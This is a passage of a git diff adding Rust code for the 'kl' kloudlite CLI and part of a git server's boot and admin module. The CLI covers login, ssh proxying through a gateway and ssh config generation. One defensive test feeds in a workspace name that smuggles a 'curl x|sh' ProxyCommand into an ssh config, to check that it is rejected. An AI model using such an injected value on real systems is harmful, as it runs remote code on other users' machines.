+ if !complained { + eprintln!("kl: still trying ({e})"); + complained = true; + } + tokio::time::sleep(std::time::Duration::from_secs(2)).await; + continue; + } + }; + match r.status().as_u16() { + 202 => { + tokio::time::sleep(std::time::Duration::from_secs(2)).await; + continue; + } + 200 => { + let t: CliToken = r.json().await.map_err(|e| e.to_string())?; + let username = username_of(&t.token).unwrap_or_default(); + config::save(&Config { + api, + token: t.token, + expires_at: t.expires_at, + username: username.clone(), + })?; + println!("Logged in as {username}. Config: {}", config::path().display()); + return Ok(()); + } + // 410 is the api's one terminal answer: expired, denied, or already spent. + 410 => return Err("that login expired or was denied — run `kl login` again".into()), + other => { + if !complained { + eprintln!("kl: still trying (the api answered {other})"); + complained = true; + } + tokio::time::sleep(std::time::Duration::from_secs(2)).await; + } + } + } +} + +pub async fn logout() -> Result<(), String> { + let cfg = config::load()?; + // Best effort: a token we cannot revoke server-side still must not stay on this disk. + if let Some(jti) = claim(&cfg.token, "jti") { + let _ = crate::api::client() + .delete(format!("{}/v1/cli/tokens/{jti}", cfg.api)) + .bearer_auth(&cfg.token) + .send() + .await; + } + std::fs::remove_file(config::path()).map_err(|e| e.to_string())?; + println!("Logged out."); + Ok(()) +} + +fn hostname() -> String { + std::process::Command::new("hostname") + .output() + .ok() + .and_then(|o| String::from_utf8(o.stdout).ok()) + .map(|s| s.trim().to_string()) + .filter(|s| !s.is_empty()) + .unwrap_or_else(|| "unknown".into()) +} + +fn username_of(token: &str) -> Option { + claim(token, "username").or_else(|| claim(token, "name")).or_else(|| claim(token, "sub")) +} + +/// Reads one claim out of the JWT payload. No verification: the signature is the api's business, +/// and the CLI only ever uses this for its own display name and the revocation id. +fn claim(token: &str, key: &str) -> Option { + use base64::Engine; + let payload = token.split('.').nth(1)?; + let bytes = base64::engine::general_purpose::URL_SAFE_NO_PAD.decode(payload).ok()?; + let v: serde_json::Value = serde_json::from_slice(&bytes).ok()?; + v.get(key)?.as_str().map(str::to_string) +} diff --git a/bins/kl/src/main.rs b/bins/kl/src/main.rs new file mode 100644 index 00000000..f548ce03 --- /dev/null +++ b/bins/kl/src/main.rs @@ -0,0 +1,85 @@ +//! `kl` — the kloudlite CLI: log in once, then ssh into a workspace through the region gateway. +//! +//! Hidden env vars, for tests and the e2e script only: +//! KL_CONFIG_DIR where config.json and known_hosts live (default ~/.config/kl) +//! KL_GATEWAY_OVERRIDE replaces the origin of the api-supplied gateway URL + +mod api; +mod config; +mod login; +mod proxy; +mod sshconfig; +mod ws; + +use clap::{Parser, Subcommand}; + +#[derive(Parser)] +#[command( + name = "kl", + version, + about = "kloudlite CLI", + after_help = "Hidden, for tests and e2e only:\n \ + KL_CONFIG_DIR where config.json and known_hosts live (default ~/.config/kl)\n \ + KL_GATEWAY_OVERRIDE replaces the origin of the api-supplied gateway URL" +)] +struct Cli { + #[command(subcommand)] + cmd: Cmd, +} + +#[derive(Subcommand)] +enum Cmd { + /// Log in through the browser and store the CLI token + Login { + #[arg(long, default_value = config::DEFAULT_API)] + api: String, + }, + /// Revoke this machine's CLI token and forget it + Logout, + /// Workspaces + Ws { + #[command(subcommand)] + cmd: WsCmd, + }, +} + +#[derive(Subcommand)] +enum WsCmd { + /// List your workspaces + List { + #[arg(long)] + team: Option, + }, + /// ssh into a workspace: `kl ws ssh gh -- -A` + Ssh { + target: String, + #[arg(trailing_var_arg = true, allow_hyphen_values = true)] + args: Vec, + }, + /// ssh's ProxyCommand: pump stdio to the workspace's gateway tunnel + Proxy { id: String }, + /// Write ~/.ssh/kloudlite_config and Include it from ~/.ssh/config + SshConfig, +} + +#[tokio::main] +async fn main() { + // Two TLS clients in one binary (reqwest and tungstenite) and two providers reachable in the + // graph: rustls will not pick one on its own. + let _ = rustls::crypto::ring::default_provider().install_default(); + let cli = Cli::parse(); + let r = match &cli.cmd { + Cmd::Login { api } => login::login(api.clone()).await, + Cmd::Logout => login::logout().await, + Cmd::Ws { cmd } => match cmd { + WsCmd::List { team } => ws::list(team.as_deref()).await, + WsCmd::Ssh { target, args } => ws::ssh(target, args).await, + WsCmd::Proxy { id } => proxy::proxy(id).await, + WsCmd::SshConfig => ws::ssh_config().await, + }, + }; + if let Err(e) = r { + eprintln!("kl: {e}"); + std::process::exit(1); + } +} diff --git a/bins/kl/src/proxy.rs b/bins/kl/src/proxy.rs new file mode 100644 index 00000000..adb5f55d --- /dev/null +++ b/bins/kl/src/proxy.rs @@ -0,0 +1,89 @@ +//! `kl ws proxy ` — ssh's ProxyCommand. Everything on this path is opaque ssh bytes; the only +//! thing that must never appear in output is the session token. + +use futures::{SinkExt, StreamExt}; +use tokio::io::{AsyncReadExt, AsyncWriteExt}; +use tokio_tungstenite::tungstenite::client::IntoClientRequest; +use tokio_tungstenite::tungstenite::Message; + +pub async fn proxy(id: &str) -> Result<(), String> { + let cfg = crate::config::load()?; + let s = match crate::api::ssh_session(&cfg, id).await { + Ok(s) => s, + // No retry: the second attempt would send the same stored token, so a 401 is a fact + // about the token, not a transient. Say what fixes it. + Err(crate::api::Error::Unauthorized) => { + return Err("your login has expired — run `kl login`".to_string()) + } + Err(e) => return Err(e.to_string()), + }; + crate::config::pin_host_key(id, &s.host_key)?; + pump(&gateway_url(&s.gateway), &s.token).await +} + +/// `KL_GATEWAY_OVERRIDE` (hidden, tests and e2e only) swaps the origin of the api-supplied gateway +/// URL, keeping its path — so the pump can be exercised against a local server without the api +/// having to know about it. +fn gateway_url(gateway: &str) -> String { + let Ok(origin) = std::env::var("KL_GATEWAY_OVERRIDE") else { + return gateway.to_string(); + }; + let path = gateway + .split_once("://") + .map(|(_, rest)| rest.find('/').map(|i| &rest[i..]).unwrap_or("")) + .unwrap_or(""); + format!("{}{path}", origin.trim_end_matches('/')) +} + +async fn pump(url: &str, token: &str) -> Result<(), String> { + let mut req = url.into_client_request().map_err(|e| format!("{url}: {e}"))?; + req.headers_mut().insert( + "Authorization", + format!("Bearer {token}").parse().map_err(|_| "bad session token".to_string())?, + ); + let (ws, _) = tokio_tungstenite::connect_async(req) + .await + // The token travels in this request, so it must not survive into the error text. + .map_err(|e| format!("gateway unreachable: {}", e.to_string().replace(token, "…")))?; + + let (mut tx, mut rx) = ws.split(); + + // stdin lives in its own task: ssh reads and writes independently, and a read that blocks the + // write half deadlocks the handshake. + let up = tokio::spawn(async move { + let mut stdin = tokio::io::stdin(); + let mut buf = vec![0u8; 32 * 1024]; + loop { + match stdin.read(&mut buf).await { + Ok(0) | Err(_) => break, + Ok(n) => { + if tx.send(Message::Binary(buf[..n].to_vec().into())).await.is_err() { + break; + } + } + } + } + let _ = tx.close().await; + }); + + let mut stdout = tokio::io::stdout(); + while let Some(msg) = rx.next().await { + match msg { + Ok(Message::Binary(b)) => { + stdout.write_all(&b).await.map_err(|e| e.to_string())?; + // ssh is a request/response handshake: an unflushed reply is a hang. + stdout.flush().await.map_err(|e| e.to_string())?; + } + Ok(Message::Close(_)) => break, + // A dropped tunnel is not a clean end of session: ssh must see a failure, and the + // error kind (never the token, which appears in no frame) is the one line printed. + Err(e) => { + up.abort(); + return Err(format!("tunnel error: {e}")); + } + Ok(_) => {} + } + } + up.abort(); + Ok(()) +} diff --git a/bins/kl/src/sshconfig.rs b/bins/kl/src/sshconfig.rs new file mode 100644 index 00000000..a45ac85d --- /dev/null +++ b/bins/kl/src/sshconfig.rs @@ -0,0 +1,90 @@ +//! `~/.ssh/kloudlite_config`: a generated file, plus one `Include` line in the config the user +//! owns. Regenerating must be safe, so the block file is rewritten whole and the Include is +//! added only when it is not already there. + +use std::path::PathBuf; + +fn home() -> PathBuf { + dirs::home_dir().unwrap_or_else(|| PathBuf::from(".")) +} + +/// The name goes into `Host {name}` verbatim, so a newline in one would append arbitrary +/// keywords — a `ProxyCommand` under `Host *` runs on THIS machine for every ssh anywhere. The +/// api refuses such a name (`model::valid_ws_name`), and this is the second half of the same +/// rule: an object written before that check, or by any other path, is skipped rather than +/// rendered. Duplicated rather than shared because the CLI depends on no server crate. +fn safe_name(name: &str) -> bool { + !name.is_empty() + && name.len() <= 63 + && name.bytes().all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-')) +} + +pub fn render(workspaces: &[crate::api::Workspace], known_hosts: &std::path::Path) -> String { + let mut s = String::from("# Managed by kl. Edits are overwritten by `kl ws ssh-config`.\n"); + for w in workspaces { + // The id is checked by the same rule for the same reason: it is written into `HostName` + // and `HostKeyAlias`, and nothing here should trust the shape of either string. + if !safe_name(&w.name) || !safe_name(&w.id) { + s.push_str("\n# Skipped a workspace whose name cannot appear in an ssh config.\n"); + continue; + } + s.push_str(&format!( + "\nHost {name}\n HostName {id}\n User kl\n ProxyCommand kl ws proxy {id}\n \ + UserKnownHostsFile {kh}\n HostKeyAlias {id}\n", + name = w.name, + id = w.id, + kh = known_hosts.display(), + )); + } + s +} + +pub fn write(workspaces: &[crate::api::Workspace]) -> Result { + let ssh = home().join(".ssh"); + // ssh REFUSES to use a config directory others can write, so creating it at the umask's + // discretion can leave `kl ws ssh-config` writing a file ssh will not read. + let mut b = std::fs::DirBuilder::new(); + b.recursive(true); + #[cfg(unix)] + { + use std::os::unix::fs::DirBuilderExt; + b.mode(0o700); + } + b.create(&ssh).map_err(|e| e.to_string())?; + let block = ssh.join("kloudlite_config"); + std::fs::write(&block, render(workspaces, &crate::config::known_hosts())) + .map_err(|e| e.to_string())?; + + // ssh takes the FIRST value it sees for a keyword, so an Include appended after the user's own + // `Host *` block would silently lose to it. + let cfg = ssh.join("config"); + let include = format!("Include {}\n", block.display()); + let existing = std::fs::read_to_string(&cfg).unwrap_or_default(); + if !existing.contains(include.trim_end()) { + std::fs::write(&cfg, format!("{include}{existing}")).map_err(|e| e.to_string())?; + } + Ok(block) +} + +#[cfg(test)] +mod tests { + use crate::api::Workspace; + + fn ws(name: &str) -> Workspace { + Workspace { id: "ws-1".into(), name: name.into(), state: "ready".into(), packages: vec![] } + } + + /// A team workspace named with a newline would otherwise write a `ProxyCommand` under + /// `Host *` into every teammate's ssh config — remote code execution on their machine, from a + /// field one of them typed. + #[test] + fn a_name_that_could_inject_keywords_is_skipped() { + let kh = std::path::Path::new("/kh"); + let out = super::render(&[ws("x\n ProxyCommand /bin/sh -c 'curl x|sh'\nHost *")], kh); + assert!(!out.contains("ProxyCommand"), "{out}"); + assert!(out.contains("# Skipped a workspace"), "{out}"); + + let ok = super::render(&[ws("dev.1_a-b")], kh); + assert!(ok.contains("Host dev.1_a-b\n"), "{ok}"); + } +} diff --git a/bins/kl/src/ws.rs b/bins/kl/src/ws.rs new file mode 100644 index 00000000..4b816072 --- /dev/null +++ b/bins/kl/src/ws.rs @@ -0,0 +1,81 @@ +use crate::api; +use crate::config; + +pub async fn list(team: Option<&str>) -> Result<(), String> { + let cfg = config::load()?; + let ws = api::list(&cfg, team).await.map_err(|e| e.to_string())?; + println!("{:<20} {:<24} {:<10} PACKAGES", "NAME", "ID", "STATE"); + for w in &ws { + println!("{:<20} {:<24} {:<10} {}", w.name, w.id, w.state, w.packages.join(",")); + } + Ok(()) +} + +/// Names are what people type; ids are what everything else uses. An exact id wins over a name so +/// a workspace named after another's id cannot shadow it. +async fn resolve(cfg: &config::Config, target: &str) -> Result { + let ws = api::list(cfg, None).await.map_err(|e| e.to_string())?; + if let Some(w) = ws.iter().find(|w| w.id == target) { + return Ok(w.id.clone()); + } + match ws.iter().find(|w| w.name == target) { + Some(w) => Ok(w.id.clone()), + None => Err(format!("no workspace named {target}")), + } +} + +pub async fn ssh(target: &str, args: &[String]) -> Result<(), String> { + let cfg = config::load()?; + let id = resolve(&cfg, target).await?; + // Pin the host key before ssh starts: the ProxyCommand pins it too, but ssh reads known_hosts + // in the parent process, before the proxy has run even once. + let s = api::ssh_session(&cfg, &id).await.map_err(|e| e.to_string())?; + config::pin_host_key(&id, &s.host_key)?; + + let me = std::env::current_exe().map_err(|e| e.to_string())?; + let mut cmd = std::process::Command::new("ssh"); + cmd.arg("-o") + // Quoted: ssh runs the ProxyCommand through /bin/sh, and the binary's own path can hold + // spaces (`~/Library/Application Support/…`, `C:\Program Files\…`). Double quotes are + // what ssh's tokeniser accepts here. + .arg(format!("ProxyCommand=\"{}\" ws proxy {id}", me.display())) + .arg("-o") + .arg(format!("UserKnownHostsFile={}", config::known_hosts().display())) + .arg("-o") + .arg(format!("HostKeyAlias={id}")) + .arg(format!("kl@{id}")) + .args(args); + // exec, not spawn: ssh owns the terminal (job control, window resizes, the exit status) and a + // parent sitting in the middle only gets those wrong. + #[cfg(unix)] + { + use std::os::unix::process::CommandExt; + Err(format!("running ssh: {}", cmd.exec())) + } + #[cfg(not(unix))] + { + let st = cmd.status().map_err(|e| e.to_string())?; + std::process::exit(st.code().unwrap_or(1)); + } +} + +pub async fn ssh_config() -> Result<(), String> { + let cfg = config::load()?; + let ws = api::list(&cfg, None).await.map_err(|e| e.to_string())?; + let p = crate::sshconfig::write(&ws)?; + println!("Wrote {} ({} workspaces).", p.display(), ws.len()); + // The generated blocks say `ProxyCommand kl …`, which ssh resolves through PATH — from a + // desktop launcher's environment, not this shell's. Better a note now than "Connection closed + // by remote host" later. + if !on_path("kl") { + println!("Note: `kl` is not on your PATH; ssh will not find the ProxyCommand."); + println!(" Add {} to PATH.", std::env::current_exe().map(|p| p.parent().map(|d| d.display().to_string()).unwrap_or_default()).unwrap_or_default()); + } + Ok(()) +} + +fn on_path(bin: &str) -> bool { + std::env::var_os("PATH") + .map(|p| std::env::split_paths(&p).any(|d| d.join(bin).is_file())) + .unwrap_or(false) +} diff --git a/bins/kl/tests/proxy.rs b/bins/kl/tests/proxy.rs new file mode 100644 index 00000000..8148c3b4 --- /dev/null +++ b/bins/kl/tests/proxy.rs @@ -0,0 +1,39 @@ +//! `kl ws proxy` is ssh's ProxyCommand: whatever ssh writes must come back out of stdout. The +//! stub tunnel echoes, so a round trip through the real binary is the whole test. + +mod stub; + +use std::io::{Read, Write}; +use std::process::{Command, Stdio}; + +#[test] +fn pumps_stdin_to_the_tunnel_and_back_to_stdout() { + let rt = tokio::runtime::Runtime::new().unwrap(); + let _g = rt.enter(); + let api = rt.block_on(stub::spawn(stub::Stub)); + let cfg = tempfile::tempdir().unwrap(); + stub::write_config(cfg.path(), &api); + + let mut child = Command::new(env!("CARGO_BIN_EXE_kl")) + .args(["ws", "proxy", "ws-1"]) + .env("KL_CONFIG_DIR", cfg.path()) + .env("KL_GATEWAY_OVERRIDE", api.replace("http://", "ws://")) + .stdin(Stdio::piped()) + .stdout(Stdio::piped()) + .stderr(Stdio::piped()) + .spawn() + .unwrap(); + + let mut stdin = child.stdin.take().unwrap(); + stdin.write_all(b"SSH-2.0-kl\r\n").unwrap(); + stdin.flush().unwrap(); + + let mut out = child.stdout.take().unwrap(); + let mut buf = [0u8; 12]; + out.read_exact(&mut buf).unwrap(); + assert_eq!(&buf, b"SSH-2.0-kl\r\n"); + + drop(stdin); // EOF ends the session + let status = child.wait().unwrap(); + assert!(status.success(), "proxy should exit 0 on stdin EOF"); +} diff --git a/bins/kl/tests/sshconfig.rs b/bins/kl/tests/sshconfig.rs new file mode 100644 index 00000000..e51c673c --- /dev/null +++ b/bins/kl/tests/sshconfig.rs @@ -0,0 +1,58 @@ +//! `kl ws ssh-config` against a stub api: the rendering is a contract (people read and edit these +//! files), and the `Include` line must survive being written twice. + +mod stub; + +use std::process::Command; + +#[test] +fn renders_a_block_per_workspace_and_includes_once() { + let rt = tokio::runtime::Runtime::new().unwrap(); + let _g = rt.enter(); + let api = rt.block_on(stub::spawn(stub::Stub)); + + let home = tempfile::tempdir().unwrap(); + let cfg = tempfile::tempdir().unwrap(); + std::fs::create_dir_all(home.path().join(".ssh")).unwrap(); + std::fs::write(home.path().join(".ssh/config"), "Host old\n User me\n").unwrap(); + stub::write_config(cfg.path(), &api); + + let run = || { + let out = Command::new(env!("CARGO_BIN_EXE_kl")) + .args(["ws", "ssh-config"]) + .env("HOME", home.path()) + .env("KL_CONFIG_DIR", cfg.path()) + .output() + .unwrap(); + assert!(out.status.success(), "{}", String::from_utf8_lossy(&out.stderr)); + }; + run(); + + let known = cfg.path().join("known_hosts").display().to_string(); + let want = format!( + "# Managed by kl. Edits are overwritten by `kl ws ssh-config`.\n\ + \n\ + Host gh\n \ + HostName ws-1\n \ + User kl\n \ + ProxyCommand kl ws proxy ws-1\n \ + UserKnownHostsFile {known}\n \ + HostKeyAlias ws-1\n\ + \n\ + Host api\n \ + HostName ws-2\n \ + User kl\n \ + ProxyCommand kl ws proxy ws-2\n \ + UserKnownHostsFile {known}\n \ + HostKeyAlias ws-2\n" + ); + let got = std::fs::read_to_string(home.path().join(".ssh/kloudlite_config")).unwrap(); + assert_eq!(got, want); + + run(); + let ssh_config = std::fs::read_to_string(home.path().join(".ssh/config")).unwrap(); + let include = format!("Include {}/.ssh/kloudlite_config", home.path().display()); + assert_eq!(ssh_config.matches(&include).count(), 1, "include added once: {ssh_config}"); + assert!(ssh_config.starts_with(&include), "include must be first: {ssh_config}"); + assert!(ssh_config.contains("Host old"), "the user's own config is kept: {ssh_config}"); +} diff --git a/bins/kl/tests/stub.rs b/bins/kl/tests/stub.rs new file mode 100644 index 00000000..1634f582 --- /dev/null +++ b/bins/kl/tests/stub.rs @@ -0,0 +1,70 @@ +//! A stand-in for `bins/api` plus a gateway: enough of the wire contract for the CLI to run +//! against, so the tests exercise the real binary rather than its inner functions. +#![allow(dead_code)] + +use axum::extract::ws::{Message, WebSocketUpgrade}; +use axum::extract::Path; +use axum::response::Response; +use axum::routing::{get, post}; +use axum::{Json, Router}; + +#[derive(Clone, Default)] +pub struct Stub; + +/// Serves the api and the tunnel on one port; returns `http://127.0.0.1:port`. +pub async fn spawn(s: Stub) -> String { + let app = Router::new() + .route( + "/v1/workspaces", + get(|| async { + Json(serde_json::json!([ + {"id": "ws-1", "name": "gh", "state": "ready", "packages": ["git", "go"]}, + {"id": "ws-2", "name": "api", "state": "stopped", "packages": []}, + ])) + }), + ) + .route( + "/v1/workspaces/{id}/ssh-session", + post(|Path(id): Path| async move { + ( + axum::http::StatusCode::CREATED, + Json(serde_json::json!({ + "token": "sst_test", + "gateway": format!("wss://ws-test.khost.dev/tunnel/{id}"), + "expires_at": "2030-01-01T00:00:00Z", + "host_key": "ssh-ed25519 AAAAKEY", + })), + ) + }), + ) + .route( + "/tunnel/{id}", + get(|ws: WebSocketUpgrade| async move { + ws.on_upgrade(|mut sock| async move { + while let Some(Ok(m)) = sock.recv().await { + if let Message::Binary(b) = m { + if sock.send(Message::Binary(b)).await.is_err() { + break; + } + } + } + }) as Response + }), + ) + .with_state(s); + let l = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap(); + let addr = l.local_addr().unwrap(); + tokio::spawn(async move { axum::serve(l, app).await.unwrap() }); + format!("http://{addr}") +} + +/// A logged-in config pointing at the stub. +pub fn write_config(dir: &std::path::Path, api: &str) { + std::fs::create_dir_all(dir).unwrap(); + std::fs::write( + dir.join("config.json"), + serde_json::json!({"api": api, "token": "cli-token", "expires_at": "2030-01-01T00:00:00Z", "username": "k"}) + .to_string(), + ) + .unwrap(); +} diff --git a/bins/server/Cargo.toml b/bins/server/Cargo.toml new file mode 100644 index 00000000..1fe909fd --- /dev/null +++ b/bins/server/Cargo.toml @@ -0,0 +1,52 @@ +[package] +name = "rustic-git-server" +version = "0.1.0" +edition = "2021" +license = "SSPL-1.0" + +[lib] # thin lib so the workspace test host (Task 11) can drive the router +name = "rustic_git_server" +path = "src/lib.rs" + +[[bin]] +name = "rustic-git" # binary name unchanged +path = "src/main.rs" + +[dependencies] +tracing = { workspace = true } +metrics = { workspace = true } +rustic-git-core = { path = "../../crates/core" } +rustic-git-storage = { path = "../../crates/storage" } +rustic-git-gitbase = { path = "../../crates/gitbase" } +rustic-git-pulls = { path = "../../crates/pulls", features = ["check"] } +rustic-git-app = { path = "../../crates/app" } +rustic-git-git = { path = "../../crates/git" } +rustic-git-registry = { path = "../../crates/registry" } +rustic-git-workspaces = { path = "../../crates/workspaces" } +tokio = { workspace = true } +axum = { workspace = true } +tower-http = { workspace = true } +russh = { workspace = true } +rustls = { workspace = true } # main() installs the ring provider +flate2 = { workspace = true } # gzip request bodies in the router +futures = { workspace = true } +tokio-util = { workspace = true } # SyncIoBridge/StreamReader: the git handlers stream bodies +tempfile = { workspace = true } # receive-pack's replay spool +serde = { workspace = true } +serde_json = { workspace = true } +rand = { workspace = true } +chrono = { workspace = true } # the agent work surface's lease timestamps (Task 14) +base64 = { workspace = true } +reqwest = { workspace = true } +gix-hash = { workspace = true } # ObjectId, named directly in the router/browse_api +# The browse API's odb-reading handlers name `gix_odb::Handle` and call `gix_object::FindExt` +# directly (not just through gitbase/git's own APIs), so both are direct deps here too. +gix-odb = { workspace = true } +gix-object = { workspace = true } +# The `admin ownership-gc` diagnostic and the browse API's object-store housekeeping +# (`ObjectStoreExt::{get,delete}`, upload-session reads) name `slatedb`/`slatedb::object_store` +# directly, so it is a real dependency, not just a dev one for the test host. +slatedb = { workspace = true } + +[dev-dependencies] +async-trait = { workspace = true } diff --git a/bins/server/src/boot.rs b/bins/server/src/boot.rs new file mode 100644 index 00000000..1976f06a --- /dev/null +++ b/bins/server/src/boot.rs @@ -0,0 +1,468 @@ +//! Host-key/admin-CLI plumbing for `main()`: reading or generating the SSH host key, the +//! `admin` subcommand dispatch and the fleet-vs-direct guard those subcommands share. Split out +//! of the old `main.rs` at existing function boundaries. + +use crate::config::env; +use crate::gc::RepackExt; +use crate::registry::store::ImageExt; +use crate::store::Store; +use crate::vol_agent::JobsState; +use crate::Result; +use std::sync::Arc; + +/// Builds this node's `JobsState` for the agent work surface (Task 14): a Cosmos-backed +/// `MetaStore` when `COSMOS_ENDPOINT` is set (same selection code as `bins/api`'s — every server +/// node constructs its own client against the same Cosmos DB, no ownership coordination needed, +/// since the workspaces metadata is not a per-repo SlateDB), otherwise `None` — the routes stay +/// mounted and answer 503 rather than not existing at all. Also spawns the 30s requeue sweep +/// (moved off `bins/api`, which no longer runs it) when a store is configured. +pub async fn build_jobs_state() -> Result> { + let store: Option> = + match std::env::var("COSMOS_ENDPOINT") { + Ok(endpoint) if !endpoint.is_empty() => { + let key = std::env::var("COSMOS_KEY") + .map_err(|_| crate::err("COSMOS_KEY required with COSMOS_ENDPOINT"))?; + let db = env("COSMOS_DB", "rustic-git"); + tracing::info!(db = %db, "workspaces metadata in cosmos db"); + let s = rustic_git_workspaces::cosmos::CosmosStore::new(&endpoint, &key, &db) + .await + .map_err(|e| crate::err(format!("connecting to cosmos: {e:?}")))?; + Some(Arc::new(s)) + } + _ => { + tracing::warn!( + "COSMOS_ENDPOINT unset: agents can only authenticate with a break-glass token" + ); + None + } + }; + Ok(Arc::new(JobsState::new(store))) +} + +// ponytail: no CryptoRng impl for OsRng is reachable through the rand_core +// version russh/ssh-key 0.7.0-rc.11 pin (0.10.1, which has no OsRng at all); +// shell out to ssh-keygen (present on any host running sshd) instead of +// pulling in a duplicate rand_core dependency just for key generation. +pub fn host_key(path: &str) -> Result { + let p = std::path::Path::new(path); + if !p.exists() { + if let Some(dir) = p.parent().filter(|d| !d.as_os_str().is_empty()) { + std::fs::create_dir_all(dir)?; // ssh-keygen will not create it + } + let status = std::process::Command::new("ssh-keygen") + .args(["-q", "-t", "ed25519", "-N", "", "-f"]) + .arg(p) + .status()?; + if !status.success() { + return Err(crate::err("ssh-keygen failed to generate host key")); + } + } + Ok(russh::keys::PrivateKey::read_openssh_file(p)?) +} + +/// The fingerprint of an OpenSSH public key line, or an error naming what is wrong with it. Used +/// to validate and identify a key before it is stored. A body-identical copy lives in +/// `crates/api/src/credentials.rs` (that crate cannot depend on this binary) — a change here must +/// be mirrored there. `crate::auth` is `rustic-git-storage`, which stays free of the ssh key +/// parsing dependency on purpose, so it is not a home for this. +pub(crate) fn ssh_fingerprint(line: &str) -> Result { + let key = russh::keys::PublicKey::from_openssh(line.trim()) + .map_err(|_| crate::err("that does not look like an OpenSSH public key"))?; + Ok(key.fingerprint(russh::keys::HashAlg::Sha256).to_string()) +} + +/// Same either-variable "is a fleet configured" test as `set-visibility`/`set-image-visibility` +/// (keying on the secret alone would let an operator whose shell doesn't export it take the +/// direct path against a live fleet). These four commands open a repo's SlateDB from a bare +/// process with zero ownership coordination, and unlike `set-visibility` and +/// `set-image-visibility` there is no routed `/api` endpoint to deliver a fork/repack/delete/create +/// to the owning node, so a configured fleet means refuse rather +/// than open the database here and fence whatever node is currently serving it. Only with +/// nothing configured (single node, or an offline run) does it proceed, saying out loud what +/// it is assuming. +pub(crate) fn fleet_guard(cmd: &str, path: &str) -> Result<()> { + fleet_check(cmd, path, std::env::var("RUSTIC_GIT_UPSTREAM").ok(), std::env::var("RUSTIC_GIT_PEER_SECRET").ok()) +} + +/// The decision itself, with the environment already read — so the test can state both variables +/// without mutating this process's environment. +fn fleet_check(cmd: &str, path: &str, upstream: Option, secret: Option) -> Result<()> { + if upstream.is_some() || secret.is_some() { + return Err(crate::err(format!( + "{cmd}: a fleet is configured (RUSTIC_GIT_UPSTREAM or RUSTIC_GIT_PEER_SECRET set) but \ + there is no routed endpoint to deliver this to the node serving {path} — refusing to \ + run it here. Run this only when no node is currently serving that repo." + ))); + } + eprintln!( + "{cmd}: no RUSTIC_GIT_UPSTREAM or RUSTIC_GIT_PEER_SECRET set — running against {path} \ + directly, assuming NO node is currently serving it. If one is, opening its database here \ + fences the serving node's writer." + ); // CLI output: a person ran this admin subcommand; RUST_LOG must not be able to suppress it. + Ok(()) +} + +/// Ceiling on the whole `post_to_owner` call, and on reading its reply — this binary must not +/// depend on `rustic-git-api` (that crate carries `pgp`/`mongodb`/`russh` this process has no +/// other reason to link) just to reuse its identical constant. +const UPSTREAM_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(15); +/// Refuse to buffer an error reply past this size rather than hold it in memory — a +/// body-identical bound to `rustic_git_api::forward::read_bounded`'s, kept in sync by hand. +const MAX_REPLY: usize = 8 << 20; + +/// Buffer an upstream reply, refusing anything past `MAX_REPLY` instead of holding it unbounded. +async fn read_bounded(mut r: reqwest::Response) -> Result { + let mut out = Vec::new(); + while let Some(chunk) = r.chunk().await? { + if out.len() + chunk.len() > MAX_REPLY { + return Err(crate::err("upstream reply is too large")); + } + out.extend_from_slice(&chunk); + } + Ok(String::from_utf8_lossy(&out).into_owned()) +} + +/// Deliver a flip to the node that owns `path`'s database: POST it to the peer Service and let +/// the `route` middleware carry it. Carries the owner as the peer identity because +/// `imagevisibility` authorizes on it (the repo route ignores it). A peer that accepts and never +/// answers must not hang the command forever, so the call is bounded like the api's upstream calls. +pub(crate) async fn post_to_owner( + cmd: &str, + owner: &str, + route: &str, + upstream: Option, + secret: Option, +) -> Result<()> { + let upstream = upstream.unwrap_or_else(|| "http://rustic-git:8081".into()); + let res = reqwest::Client::builder() + .timeout(UPSTREAM_TIMEOUT) + .build()? + .post(format!("{}{route}", upstream.trim_end_matches('/'))) + .header(rustic_git_core::peer::PEER_HEADER, secret.unwrap_or_default()) + .header(rustic_git_core::peer::OWNER_HEADER, owner) + .send() + .await + .map_err(|e| crate::err(format!("{cmd}: {e}")))?; + let status = res.status(); + if status.is_success() { + return Ok(()); + } + let body = read_bounded(res).await.unwrap_or_default(); + Err(crate::err(format!("{cmd}: {status}: {body}"))) +} + +pub async fn run(a: &[&str], store: &Arc) -> Result<()> { + match a { + ["admin", "fork", src, dst] => { + let (so, sn) = src.split_once('/').ok_or("owner/name")?; + let (o, n) = dst.split_once('/').ok_or("owner/name")?; + fleet_guard("admin fork", dst)?; + let src = store.open_repo(so, sn).await?.ok_or("source repository not found")?; + store.fork(&src, o, n).await + } + ["admin", "repack", path] => { + let (o, n) = path.split_once('/').ok_or("owner/name")?; + fleet_guard("admin repack", path)?; + let (before, after) = store.repack(o, n).await?; + println!("repacked {path}: {before} packs -> {after}"); + Ok(()) + } + ["admin", "delete-repo", path] => { + let (o, n) = path.split_once('/').ok_or("owner/name")?; + fleet_guard("admin delete-repo", path)?; + store.delete_repo(o, n).await + } + // Clean up after a repo that was deleted BEFORE delete removed the database files: the + // directory survives, so the GC sweep reads it as an existing repo that merely lost its + // marker and recreates one, and the repo reappears in every listing. Refuses to touch a + // repo that still exists, so it can only ever remove what is already gone. + ["admin", "purge-ghost-repo", path] => { + let (o, n) = path.split_once('/').ok_or("owner/name")?; + fleet_guard("admin purge-ghost-repo", path)?; + if store.repo_exists(o, n).await? { + return Err(crate::err(format!( + "{path} still exists — purge only removes the remains of a deleted repo" + ))); + } + let _ = crate::index::remove(&store.os, crate::index::Kind::Repo, o, n).await; + store.delete_repo_db(o, n).await?; + println!("purged the remains of {path}"); + Ok(()) + } + // Diagnostic for the ownership map's WAL. Prints the one number that decides whether the + // WAL can be reclaimed at all -- `replay_after_wal_id`, the point the memtable has been + // flushed to -- then runs one collection synchronously so a failure is reported instead of + // disappearing into a background task that logs nothing. An explicit `min_age` in seconds + // may be given to drain a backlog that predates the fix; it defaults to the leader's own. + // + // Reads and deletes object-store keys only. It never opens the ownership database, so it + // cannot fence the leader that has it open. + ["admin", "ownership-gc", rest @ ..] => { + let min_age = rest.first().and_then(|s| s.parse::().ok()).unwrap_or(300); + let wal = format!("{}/wal", crate::ownership::PATH); + let count = |os: std::sync::Arc, p: String| async move { + use futures::StreamExt; + os.list(Some(&slatedb::object_store::path::Path::from(p))) + .filter_map(|r| async move { r.ok() }) + .count() + .await + }; + + let admin = slatedb::admin::AdminBuilder::new( + crate::ownership::PATH, + store.os.clone(), + ) + .build(); + match admin.read_manifest(None).await { + Ok(Some(m)) => { + let v = serde_json::to_value(&m).unwrap_or_default(); + // Flattened, so the fields sit at the top level. Printed on their own rather + // than dumping the manifest: 